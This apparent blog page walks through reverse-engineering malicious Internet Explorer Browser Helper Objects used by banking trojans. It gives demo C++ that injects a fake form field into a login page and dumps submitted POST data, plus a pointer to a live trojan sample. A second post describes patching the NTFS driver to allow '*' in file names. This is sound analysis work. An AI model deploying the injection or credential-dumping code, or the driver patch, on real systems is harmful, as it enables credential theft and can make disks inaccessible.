Bho.py posiada jeszcze jedna użyteczna opcje, a mianowicie funkcję bho_invoke(ea) (gdzie ea to adres funkcji invoke lub init _ATL_EVENT_ENTRY), która doda komentarze zawierające opisy każdej stałej w miejscu jej występowania.
Python>bho_invoke(0x2000480a) Found DISPID_NAVIGATECOMPLETE2 at: 200048bb Found DISPID_NAVIGATEANDFIND at: 200048d0 Found DISPID_PROGRESSCHANGE at: 20004825 Found DISPID_DOCUMENTCOMPLETE at: 20004904 Found DISPID_BEFORENAVIGATE2 at: 200048c6 Found DISPID_ONQUIT at: 200049d7 Found DISPID_DOWNLOADCOMPLETE at: 2000481c Found DISPID_ISSUBSCRIBED at: 200048d0
Zobaczmy efekt:
Możemy teraz przystąpić do reversowania poszczególnych event handlerów.
=] Reversowanie kodu zawierającego wywołania interfejsów COM [=
Bez odpowiedniego podejścia i jeszcze paru zabiegów, reversowanie takiego kodu może być mocno uciążliwe. Dlatego też, polecam kilka skryptów stworzonych przez Frank’a Boldewin’a :
ClassAndInterfaceToNames.zip – odnajdywanie UUID’ów class i interfejsów
VtablesStructuresFromPSDK2003R2.zip – skrypt dodający struktury vtable powiązane z interfejsami COM.
Practical%20COM%20code%20reconstruction.swf – video prezentujące: reversowanie COM’wego kodu + zalety skorzystania z dwóch powyższych skryptów.
Żeby zobaczyć różnice jak i zalety zastosowania powyższych skryptów spróbujmy zreversować następujący kawałek kodu pochodzący z event handler’a OnDocumentComplete:
.text:200028F9 mov eax, [ebp+arg_8] .text:200028FC xor ebx, ebx .text:200028FE cmp eax, ebx .text:20002900 jz loc_20002AC5 .text:20002906 mov ecx, [eax] .text:20002908 lea edx, [ebp+var_18] .text:2000290B push edx .text:2000290C push offset unk_200180E8 .text:20002911 push eax .text:20002912 mov [ebp+var_18], ebx .text:20002915 call dword ptr [ecx]
Widać tutaj wywołanie jakieś metody wirtualnej tylko pytanie jakiego interfejsu i co dokładnie jest argumentem pod tym offset’em unk_200180E8 ?
Użyjmy skryptu ClassAndInterfaceToNames, a oto efekt:
.text:200028F9 mov eax, [ebp+arg_8] .text:200028FC xor ebx, ebx .text:200028FE cmp eax, ebx .text:20002900 jz loc_20002AC5 .text:20002906 mov ecx, [eax] .text:20002908 lea edx, [ebp+var_18] .text:2000290B push edx .text:2000290C push offset IID_IWebBrowser2__2 .text:20002911 push eax .text:20002912 mov [ebp+var_18], ebx .text:20002915 call dword ptr [ecx]
Ahh już lepiej, teraz patrząc na nasz kod w CPP zauważamy analogię, że na wstępie interfejs IDispatch wywołuje QueryInterface z argumentami :
IID_IWebBrowser2, (void **)&pWebBrowser) ( ta linijka ukrywa się tutaj CComQIPtr<IWebBrowser2> tmpBrowser = pDisp; )
żeby uzyskać pointer na coclass IWebBrowser. Wnioskując z tego, mamy iż:
[ebp+var_18] to [ebp+IWebBrowser]
a
call dword ptr [ecx] to (naciskamy na ecx T i szukamy IDispatch) call dword ptr [ecx+ IDispatchVtbl.QueryInterface]
efekt końcowy:
.text:200028F9 mov eax, [ebp+arg_8] .text:200028FC xor ebx, ebx .text:200028FE cmp eax, ebx .text:20002900 jz loc_20002AC5 .text:20002906 mov ecx, [eax] .text:20002908 lea edx, [ebp+IWebBrowser] .text:2000290B push edx .text:2000290C push offset IID_IWebBrowser2__2 .text:20002911 push eax .text:20002912 mov [ebp+IWebBrowser], ebx .text:20002915 call [ecx+IDispatchVtbl.QueryInterface]
Itd… Ok, ale co jeśli chcemy wykonać dynamiczną analizę? Ofc, możemy przeanalizować w podany powyżej sposób kod statycznie, jednak takie podejście czasami wymaga uzupełnienia z różnych względów, czyli właśnie dynamicznej analizy.
Niestety pojawia się tu pewien problem, ponieważ SHDOCVW.dll, do której odwoływać się będzie większość call’i powiązanych z interfejsami COM w naszym przypadku
źródło http://msdn.microsoft.com/en-us/library/ie/aa741313(v=vs.85).aspx
, nie ma ujawnionych „czytelnych” nazw dla większości exportów. I w miejscu takim jak:
010328F9 |. 8B45 10 MOV EAX,[ARG.3] 010328FC |. 33DB XOR EBX,EBX 010328FE |. 3BC3 CMP EAX,EBX 01032900 |. 0F84 BF010000 JE btask.01032AC5 01032906 |. 8B08 MOV ECX,DWORD PTR DS:[EAX] 01032908 |. 8D55 E8 LEA EDX,[LOCAL.6] 0103290B |. 52 PUSH EDX 0103290C |. 68 E8800401 PUSH btask.010480E8 01032911 |. 50 PUSH EAX 01032912 |. 895D E8 MOV [LOCAL.6],EBX 01032915 |. FF11 CALL DWORD PTR DS:[ECX]
pojawi się tylko i wyłącznie podpowiedź Olka w stylu:
01032915 |. FF11 CALL DWORD PTR DS:[ECX] ; SHDOCVW.777D78E9
Oczywiście jest na to rada;). Skorzystanie z dobrodziejstwa symboli. Ale, ze względu na sędziwość Olka 1.1 i nie w pełni gotową jeszcze wersje 2.0, warto odseparować do osobnego katalogu tylko i wyłącznie symbole dla tych dll’ek, które faktycznie nas interesują czyli
SHDOCVW.dll i ew. MSHTML.dll. W innym wypadku możemy spodziewać się sporego czasu oczekiwania na koniec analizy przez Olka każdej dll’ki z osobna, a nawet czasami crashu.
Symbole dla pojedynczego pliku można pobrać używając narzędzia symchk.exe
Tworzymy zmienną środowiskową:
_NT_SYMBOL_PATH=symsrv*symsrv.dll*C:\windows\Sym
A w katalogu C:\windows\Sym umieszczamy interesujące nas symbole:
c:\WINDOWS\sym>dir Volume in drive C has no label. Volume Serial Number is 44BE-4B9D Directory of c:\WINDOWS\sym 01/27/2012 11:21 AM <DIR> . 01/27/2012 11:21 AM <DIR> .. 01/27/2012 11:21 AM <DIR> mshtml.pdb 01/27/2012 11:21 AM <DIR> mshtmled.pdb 01/27/2012 11:21 AM <DIR> shdocvw.pdb
A oto efekt:
I z tak przygotowanym zestawem narzędzi jak i podejściem możemy kontynuować nasza zabawę w reversowanie BHO ;).
From a long time for those days (BHO is supported since IE 4.0) malware writers exploit BHO functionality to bully on IE users.
Mostly evil BHO has two functionality ( for sure if we talk about bankers):
- monitoring/logging requests sending by browser POST dump - password stealing - HTML page code dynamic modification HTML code injection - used for e.g - adding additional form fields intended to obtain, more amount of TAN codes or generally some extra data.
=] BHO creation [=
Dll implementation is possible in couple manners:
Pure COM/WinApi
Is easy to predict that in this case entire implementation of all COM interfaces will belong to us, but it’s a great exercise to get know all details about BHO mechanism hidden under the hood.
Detailed tutorial about how to write an BHO without the use of MFC/ATL and with basic infromation about COM technology you can find here:
http://www.codeproject.com/KB/shell/BHOinCPP.aspx
MFC
ATL
In case when you take advantages of ATL library, to implementation will remain only one method plus an events handlers. Tutorial about creating BHO based on ATL library you can find here:
http://msdn.microsoft.com/en-us/library/bb250489(v=vs.85).aspx
BHO mechanism call stack
In a nutshell:
Ole32.dll in IE
CoGetClassObject->CoLoadLibrary
BHO
@export DllGetClassObject – pass pointer on IClassFactory coclass.
IClassFactory->CreateInstance – pass pointer on IObjectWithSite coclass.
IObjectWithSite->SetSite – obtain pointer to IWebBrowser2 interface.
IWebBrowser2->QueryInterface for IConnectionPointContainer
IConnectionPointContainer-> FindConnectionPoint for DWebBrowserEvents2 dispatcher.
IConnectionPointContainer->Advise – registration of coclass implementing DWebBrowserEvents2 (events handler) dispatcher.
=] Interfaces [=
We (and also malware writers) will be especially interested in two interfaces:
– IWebBrowser2
– DWebBrowserEvents2
=] Events handling [=
As you might guess, major malware code responsible of that action like HTLM code injection or POST dump will be located in class implements DWebBrowserEvents2 interface.
Delving into the details, HTML Code injection we can expect in event handler for event:
DISPID_DOCUMENTCOMPLETE :
„DocumentComplete – Fires when a document is completely loaded and initialized.”
POST Dump ( credentials theft)
DISPID_BEFORENAVIGATE2:
„BeforeNavigate2 – Fires before navigation occurs in the given object (on either a window element or a frameset element).”
Lets we take a glance on residual implementation of that class in CPP:
Pure COM/WinAPI
class CEvents : public DWebBrowserEvents2 { public: STDMETHODIMP Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr); private: void OnBeforeNavigate2(...); void OnDocumentComplete(...); }; STDMETHODIMP CEvents::Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr) { switch(dispIdMember) { case DISPID_DOCUMENTCOMPLETE: OnDocumentComplete(...); break; case DISPID_BEFORENAVIGATE2: OnBeforeNavigate2(...); break; } }
ATL
class ATL_NO_VTABLE CCBHO : public CComObjectRootEx<CComSingleThreadModel>, public CComCoClass<CCBHO, &CLSID_CBHO>, public IObjectWithSiteImpl<CCBHO>, public IDispatchImpl<ICBHO, &IID_ICBHO, &LIBID_firstBHOLib, /*wMajor =*/ 1, /*wMinor =*/ 0>, public IDispEventImpl<1, CCBHO, &DIID_DWebBrowserEvents2, &LIBID_SHDocVw, 1, 1> { public: CCBHO() { } public: BEGIN_SINK_MAP(CCBHO) //initialize _ATL_EVENT_ENTRY structure SINK_ENTRY_EX(1, DIID_DWebBrowserEvents2, DISPID_DOCUMENTCOMPLETE, OnDocumentComplete) SINK_ENTRY_EX(1, DIID_DWebBrowserEvents2, DISPID_BEFORENAVIGATE2, OnBeforeNavigate) END_SINK_MAP() // DWebBrowserEvents2 void STDMETHODCALLTYPE OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL); void STDMETHODCALLTYPE OnBeforeNavigate(IDispatch *pDisp, VARIANT *url, VARIANT *Flags, VARIANT *TargetFrameName, VARIANT *PostData, VARIANT *Headers, VARIANT_BOOL *Cancel);
Like I mentioned above, key role in BHO malware functionality plays code located in event handlers related with events BEFORENAVIGATE2 and DOCUMENTCOMPLETE. But before we gonna examine real malware lets we check example implementation of HTML Code injection and POST dump in CPP.
HTML Code injection (ATL)
void STDMETHODCALLTYPE CCBHO::OnDocumentComplete(IDispatch *pDisp, VARIANT *pvarURL) { HRESULT hr; // Retrieve the top-level window from the site. CComQIPtr<IWebBrowser2> tmpBrowser = pDisp; if(tmpBrowser && m_webBrowser && m_webBrowser.IsEqualObject(tmpBrowser)) { CComPtr<IDispatch> doc; hr = m_webBrowser->get_Document(&doc); if(SUCCEEDED(hr)) { CComQIPtr<IHTMLDocument2> html = doc; if( html != NULL) { debug_init(); //check target url if(wcsstr((WCHAR*)pvarURL->pbstrVal,L"http://www.icewall.pl/wp-login.php")) { debug("[+] Target URL detected"); CComPtr<IHTMLElement> body; hr = html->get_body(&body); if(!SUCCEEDED(hr) || body == NULL) return; debug("[+] Make simple html code injection, right after <body> tag"); body->insertAdjacentHTML(L"afterBegin",L"<h1 style=\"text-align:center;color:red;\">Injected Code</h1>"); debug("[+] Find login form"); CComPtr<IHTMLElementCollection> forms; hr = html->get_forms(&forms); if(!SUCCEEDED(hr) || forms == NULL) return; long amount = 0; CComVariant name; CComPtr<IDispatch> pDisp; forms->get_length(&amount); for(int i =0; i < amount;i++) { CComVariant index(i); forms->item(name,index,&pDisp); CComQIPtr<IHTMLElement> form = pDisp; debug("[+] Injecting additional form field"); form->insertAdjacentHTML(L"afterBegin", L"<label>Phone number<br /><input type=\"text\" name=\"phone\" class=\"input\" size=\"20\"/></label>"); } } } } } }
Result:
Like you can notice on the screenshot , to page html code was injected text “Injected code” and additional form field “Phone number”.
Ok, now lets we take a look on code doing for us POST DUMP
void STDMETHODCALLTYPE CCBHO::OnBeforeNavigate(IDispatch *pDisp, VARIANT *url, VARIANT *Flags, VARIANT *TargetFrameName, VARIANT *PostData, VARIANT *Headers, VARIANT_BOOL *Cancel) { if (PostData != NULL && PostData->vt == (VT_VARIANT|VT_BYREF) && PostData->pvarVal->vt != VT_EMPTY ) { debug("[+] POST data dump"); //dump information about URL debug(std::string(CW2A(url->bstrVal))); char *szTemp = NULL; char *szPostData = NULL; long plLbound, plUbound; SAFEARRAY *parrTemp = PostData->pvarVal->parray; SafeArrayAccessData(parrTemp , (void HUGEP **) &szTemp); SafeArrayGetLBound(parrTemp , 1, &plLbound); SafeArrayGetUBound(parrTemp , 1, &plUbound); szPostData = new char[plUbound - plLbound + 2]; memcpy(szPostData, szTemp, plUbound - plLbound + 1); szPostData[plUbound-plLbound] = '\0'; SafeArrayUnaccessData(parrTemp); //dump post data debug(szPostData); delete[] szPostData; } }
Fill the form:
Login…
Like you can see, all data filled into form fields ( also with this data filled in additional field injected by our BHO) have been dumped on console.
As we know what kind of code we can expect and we have awareness how it works, lets we check a real example.
=] Just reverse it! [=
Malware: Trojan-Spy.Win32.Banker
MD5: 4bb6988207b7e64c91181ab3a7a82e3e
SHA256: d02323c52b3142ffbfc2a8d92a4202022d2671ba18b4efbe7569863817e550e6
https://www.virustotal.com/ – report
Download: Trojan-Spy.Win32.Banker pass: infected
Represented by above hashes file is actually a dropper, and we will be only interested in its drop done into system32, which is exactly btask.dll (BHO).
Like you probably noticed, this dll is packed by upx, a good thing here will be to unpack it and work on unpacked version.
=] Where are those event handlers ?[=
We agreed already that, evil functions typical for malware in BHO form are located in event handlers. Now, question is how to find those pieces of code, BAH, even how to exactly find Invoke() (for pure COM/winapi) function and _ATL_EVENT_ENTRY structures initialization where will be located most of interesting information parts about malware functionality in this case?
=] Searching for constancies [=
A good results we can achieve by simple search for constancies, which represents particular events:
IDA->Alt+I (Find all occurences) , find all constant values equal to 259(0x103) represent event
DOCUMENTCOMPLETE.
Address Function Instruction ------- -------- ----------- .text:20004904 sub_2000480A cmp eax, 103h .text:2000B0E3 sub_2000B093 cmp [ebp+var_18], 103h
Lets we jump into first address:
Code looks very promising, quiet big dose of conditional instructions and comparisons of one function argument to different constancies, what can be an evidence that we just found a Invoke function. And believe me, we got it ;). If you still don’t see that,I gonna give you little hint that we can observe here typical implementation of Invoke function when author didn’t use ATL template. But, how will look this code in ATL case?
atlBHO.dll (for simpleness,analysis is done with loaded pdb file ) – > Download
This time trying to find place where _ATL_EVENT_ENTRY structures array is initialized, using for this search for 0x130 value we will fail, because first entry of this array is (in my code it’s structure for DOCUMENTCOMPLETE event) is partially initialized. And because of that, IDA gonna point as this place:
.data:1003D770 ; ATL::_ATL_EVENT_ENTRY<CCBHO> map[3] .data:1003D770 struct ATL::_ATL_EVENT_ENTRY<class CCBHO> const * const `public: static struct ATL::_ATL_EVENT_ENTRY<class CCBHO> const * __cdecl CCBHO::_GetSinkMap(void)'::`2'::map dd 1 ; nControlID .data:1003D770 ; DATA XREF: CCBHO::_GetSinkMap(void):loc_1001C040o .data:1003D770 dd offset _DIID_DWebBrowserEvents2; piid .data:1003D770 dd 0Ch ; nOffset .data:1003D770 dd 103h ; dispid .data:1003D770 dd 0 ; pfn .data:1003D770 db 4 dup(0) .data:1003D770 dd 0 ; pInfo .data:1003D770 db 4 dup(0) ; _padding .data:1003D770 dd 0 ; nControlID ...
which is statically allocated space for _ATL_EVENT_ENTRY array. We want to find location where initialization of this array takes place.
Lets we search for 0xFA value which represents event BEFORENAVIGATE2 .
.text:1001BF29 mov [ebp+var_EC], offset CCBHO::OnDocumentComplete(IDispatch *,tagVARIANT *) (...) .text:1001BF9E mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nOffset+20h, edx .text:1001BFA4 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.dispid+20h, 0FAh .text:1001BFAE mov [ebp+var_DC], offset CCBHO::OnBeforeNavigate(IDispatch *,tagVARIANT *,tagVARIANT *,tagVARIANT *,tagVARIANT *,tagVARIANT *,short *) .text:1001BFB8 mov [ebp+var_D8], 0 .text:1001BFC2 mov eax, [ebp+var_DC] .text:1001BFC8 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.pfn+20h, eax .text:1001BFCD mov ecx, [ebp+var_D8] .text:1001BFD3 mov dword ptr ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map+34h, ecx .text:1001BFD9 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.pInfo+20h, 0 .text:1001BFE3 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nControlID+40h, 0 .text:1001BFED mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.piid+40h, 0 .text:1001BFF7 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.nOffset+40h, 0 .text:1001C001 mov ATL::_ATL_EVENT_ENTRY<CCBHO> const * const `CCBHO::_GetSinkMap(void)'::`2'::map.dispid+40h, 0
Bingo! At 1001BF29 address and 1001BFAE we can notice initialization of structures with offsets to event handlers.
So we have a trivial method to find interesting for us pieces of code in both cases. Let automate this process.
IDA Python – > Download BHO.py
I developed simple script, which based on couple most popular constancies representing event is able to locate address of Invoke
fuction and _ATL_EVENT_ENTRY array initialization.
Lets go back to our malware and execute script.
Searching for DISPID_BEFORENAVIGATE2 Searching for DISPID_DOCUMENTCOMPLETE Searching for DISPID_NAVIGATECOMPLETE2 Searching for DISPID_ONQUIT Potential Invoke function 0x20003b22 : appearance 1 Potential Invoke function 0x20013043 : appearance 1 Potential Invoke function 0x200044cc : appearance 1 Potential Invoke function 0x2000480a : appearance 4 Potential Invoke function 0x20004eec : appearance 1 Potential Invoke function 0x200074f1 : appearance 1 Potential Invoke function 0x2000b093 : appearance 1 Potential Invoke function 0x200022fa : appearance 1 Suggested address of Invoke function : 0x2000480a
Script made a good job because 0x2000480a is indeed address of Invoke function which we determined before manually.
Bho.py has one more useful functionality, namely bho_invoke(ea)
Now we can start reversing particular event handler.
=] Reversing code which contains calls to COM interfaces [=
Without proper approach and couple more interventions, RE of that code can be really annoying. That’s way I want to recommend you here couple scripts created by
Frank Boldewin:
ClassAndInterfaceToNames.zip
VtablesStructuresFromPSDK2003R2.zip – script adds to IDA big amount of vtable structures related with COM interfaces.
Practical%20COM%20code%20reconstruction.swf – video presents: reversing code pull of COM calls + advantages of use these two above scripts.
To see the differences and benefits of the above scripts lets we try to reverse the following piece of code belongs to OnDocumentComplete event handler:
.text:200028F9 mov eax, [ebp+arg_8] .text:200028FC xor ebx, ebx .text:200028FE cmp eax, ebx .text:20002900 jz loc_20002AC5 .text:20002906 mov ecx, [eax] .text:20002908 lea edx, [ebp+var_18] .text:2000290B push edx .text:2000290C push offset unk_200180E8 .text:20002911 push eax .text:20002912 mov [ebp+var_18], ebx .text:20002915 call dword ptr [ecx]
We can see here call to some virtual method and question is of what interface and what exactly hides under this offset unk_200180E8 ?
Execute ClassAndInterfaceToNames script:
.text:200028F9 mov eax, [ebp+arg_8] .text:200028FC xor ebx, ebx .text:200028FE cmp eax, ebx .text:20002900 jz loc_20002AC5 .text:20002906 mov ecx, [eax] .text:20002908 lea edx, [ebp+var_18] .text:2000290B push edx .text:2000290C push offset IID_IWebBrowser2__2 .text:20002911 push eax .text:20002912 mov [ebp+var_18], ebx .text:20002915 call dword ptr [ecx]
Ouu yeah much better, now looking at our CPP code we can notice analogy, that at the beginning IDispatch interface call QueryInterface with arguments:
IID_IWebBrowser2, (void **)&pWebBrowser) ( this line hides here CComQIPtr<IWebBrowser2> tmpBrowser = pDisp; )
to achieve pointer on IWebBrowser coclass.
Concluding of this we have:
[ebp+var_18] is [ebp+IWebBrowser] and call dword ptr [ecx] is (press T on ecx and search IDispatch) call dword ptr [ecx+ IDispatchVtbl.QueryInterface]
end result:
.text:200028F9 mov eax, [ebp+arg_8] .text:200028FC xor ebx, ebx .text:200028FE cmp eax, ebx .text:20002900 jz loc_20002AC5 .text:20002906 mov ecx, [eax] .text:20002908 lea edx, [ebp+IWebBrowser] .text:2000290B push edx .text:2000290C push offset IID_IWebBrowser2__2 .text:20002911 push eax .text:20002912 mov [ebp+IWebBrowser], ebx .text:20002915 call [ecx+IDispatchVtbl.QueryInterface]
And so on… Ok, but what if we want to perform dynamic analysis? Ofc we can perform static analysis in presented above manner, but that approach sometimes require additions from different reasons. But there is a small problem, SHDOCVW.dll to which most of COM interfaces will refer to
źródło http://msdn.microsoft.com/en-us/library/ie/aa741313(v=vs.85).aspx
doesn’t have export names in readable form. And in place like this:
010328F9 |. 8B45 10 MOV EAX,[ARG.3] 010328FC |. 33DB XOR EBX,EBX 010328FE |. 3BC3 CMP EAX,EBX 01032900 |. 0F84 BF010000 JE btask.01032AC5 01032906 |. 8B08 MOV ECX,DWORD PTR DS:[EAX] 01032908 |. 8D55 E8 LEA EDX,[LOCAL.6] 0103290B |. 52 PUSH EDX 0103290C |. 68 E8800401 PUSH btask.010480E8 01032911 |. 50 PUSH EAX 01032912 |. 895D E8 MOV [LOCAL.6],EBX 01032915 |. FF11 CALL DWORD PTR DS:[ECX]
will appear simple Olly’s hint:
01032915 |. FF11 CALL DWORD PTR DS:[ECX] ; SHDOCVW.777D78E9
But don’t worry , we can handle this also ;). We gonna take benefits which provide symbols. Because of “old age” of Olly 1.1 and not completely functional version 2.0
is good to separate only interested for us dll’s (SHDOCVW.dll and eventually MSHTML.dll) symbols to separated directory. In other way we can expect long time analysis perform by Olly for each loaded dll by IE and sometimes even crash. Symbols for single file you can download using symchk.exe.
Create environment variable:
_NT_SYMBOL_PATH=symsrv*symsrv.dll*C:\windows\Sym
and in C:\windows\Sym directory put interested us symbols:
c:\WINDOWS\sym>dir Volume in drive C has no label. Volume Serial Number is 44BE-4B9D Directory of c:\WINDOWS\sym 01/27/2012 11:21 AM <DIR> . 01/27/2012 11:21 AM <DIR> .. 01/27/2012 11:21 AM <DIR> mshtml.pdb 01/27/2012 11:21 AM <DIR> mshtmled.pdb 01/27/2012 11:21 AM <DIR> shdocvw.pdb
Result:
With that prepared set of tools and approach we can continue our fun with BHO reversing ;).
Czy to w ogóle możliwe ? Okazuje się, że tak.
Na możliwość tworzenia nazw plików czy folderów zawierających gwiazdkę wpadłem przez przypadek, czytając wybrane fragmenty driver’a NTFS robiąc research odnośnie długich ścieżek pod Windows’em.
[ Gdzie kryje się sekret? ]
Sekretna flaga umożliwiająca użycia gwiazdki(wildcard’u) jest używa jako drugi argument następującej funkcji:
PAGE:00038359 ; int __stdcall NtfsIsFileNameValid(PUNICODE_STRING, bool) PAGE:00038359 PAGE:00038359 var_2 = byte ptr -2 PAGE:00038359 var_1 = byte ptr -1 PAGE:00038359 fileName = dword ptr 8 PAGE:00038359 wildCardFlag = dword ptr 0Ch PAGE:00038359 PAGE:00038359 mov edi, edi PAGE:0003835B push ebp PAGE:0003835C mov ebp, esp PAGE:0003835E push ecx PAGE:0003835F mov edx, [ebp+fileName] PAGE:00038362 mov cx, [edx] PAGE:00038365 test cx, cx PAGE:00038368 push edi PAGE:00038369 mov [ebp+var_2], 1 PAGE:0003836D mov [ebp+var_1], 1 PAGE:00038371 jz loc_5FE42 PAGE:00038377 test cl, 1 PAGE:0003837A jnz loc_5FE42 PAGE:00038380 movzx ecx, cx PAGE:00038383 shr ecx, 1 PAGE:00038385 push 0 PAGE:00038387 pop edi PAGE:00038388 jz loc_5FE3D PAGE:0003838E push ebx PAGE:0003838F push esi PAGE:00038390 mov esi, [edx+4] PAGE:00038393 PAGE:00038393 loc_38393: PAGE:00038393 mov bx, [esi] PAGE:00038396 cmp bx, 0FFh PAGE:0003839B ja short loc_383C8 PAGE:0003839D test bl, bl PAGE:0003839F jl short loc_383C8 PAGE:000383A1 mov edx, ds:_FsRtlLegalAnsiCharacterArray PAGE:000383A7 mov edx, [edx] PAGE:000383A9 movzx eax, bx PAGE:000383AC movzx eax, byte ptr [eax+edx] PAGE:000383B0 mov dl, byte ptr [ebp+wildCardFlag] PAGE:000383B3 neg dl PAGE:000383B5 sbb edx, edx PAGE:000383B7 and edx, 8 PAGE:000383BA or edx, 4 PAGE:000383BD and eax, edx PAGE:000383BF mov [ebp+fileName], eax PAGE:000383C2 jz loc_5FE34 PAGE:000383C8 PAGE:000383C8 loc_383C8: PAGE:000383C8 PAGE:000383C8 cmp bx, ':' PAGE:000383CC jz loc_5FE34 PAGE:000383D2 cmp bx, '\' PAGE:000383D6 jz loc_5FE34 PAGE:000383DC cmp bx, '.' PAGE:000383E0 jz short loc_383E6 PAGE:000383E2 mov [ebp+var_2], 0 PAGE:000383E6 PAGE:000383E6 loc_383E6: PAGE:000383E6 inc edi PAGE:000383E7 inc esi PAGE:000383E8 inc esi PAGE:000383E9 cmp edi, ecx PAGE:000383EB jb short loc_38393 PAGE:000383ED PAGE:000383ED loc_383ED: PAGE:000383ED cmp [ebp+var_2], 0 PAGE:000383F1 pop esi PAGE:000383F2 pop ebx PAGE:000383F3 jnz loc_5FE3D PAGE:000383F9 PAGE:000383F9 loc_383F9: PAGE:000383F9 PAGE:000383F9 mov al, [ebp+var_1] PAGE:000383FC pop edi PAGE:000383FD leave PAGE:000383FE retn 8 PAGE:000383FE _NtfsIsFileNameValid@8 endp
Jako, że we wszystkich znaczących miejscach wywołania tej funkcji ma ona ustawiony drugi parametr na False, to tak jak przywykliśmy, utworzenie pliku czy folder’u z gwiazdką w nazwie jest nie możliwe.
[ Mały patch ]
Oczywiście, żeby zmodyfikować tą ustawioną na sztywno flagę z false na true potrzebujemy dostępu do driver’a ntfs z r0 jeżeli chcemy go zmodyfikować run-time i nie bawić się w obchodzenie WFP.
Jako, że wstępne badania nie przyniosły nic szczególnego to nie fatygowałem się nawet, żeby pisać driver, patch’a wykonałem w prost z windbg:
Patch:
PAGE:000383B0 mov dl, 1 PAGE:000383B2 nop
A oto efekty:
Ku mojemu zaskoczeniu jak widać na powyższym screenie wszystko działa poprawnie.
[ (Nie)pożądane działanie: ]
Jedyny wpływ na niepoprawne działanie systemu jaki udało mi się zaobserwować po paru prostych testach to np. brak możliwości skopiowania czegokolwiek do folderu którego nazwa zawiera asterisk.
Oczywiście kompletny fail spotyka nas kiedy w dowolnym miejscu naszej partycji pozostanie plik lub folder zawierający wildcard, a my przestawimy flagę w
NtfsIsFileNameValid na false (domyślne ustawienie). W takiej sytuacji cała partycja staje się dla nas nie dostępna ;).
Jeżeli kogoś zainspirował temat i ma chęć prowadzić dalsze badania to z chęcią usłyszę czy udało się wycisnąć z tego coś więcej;)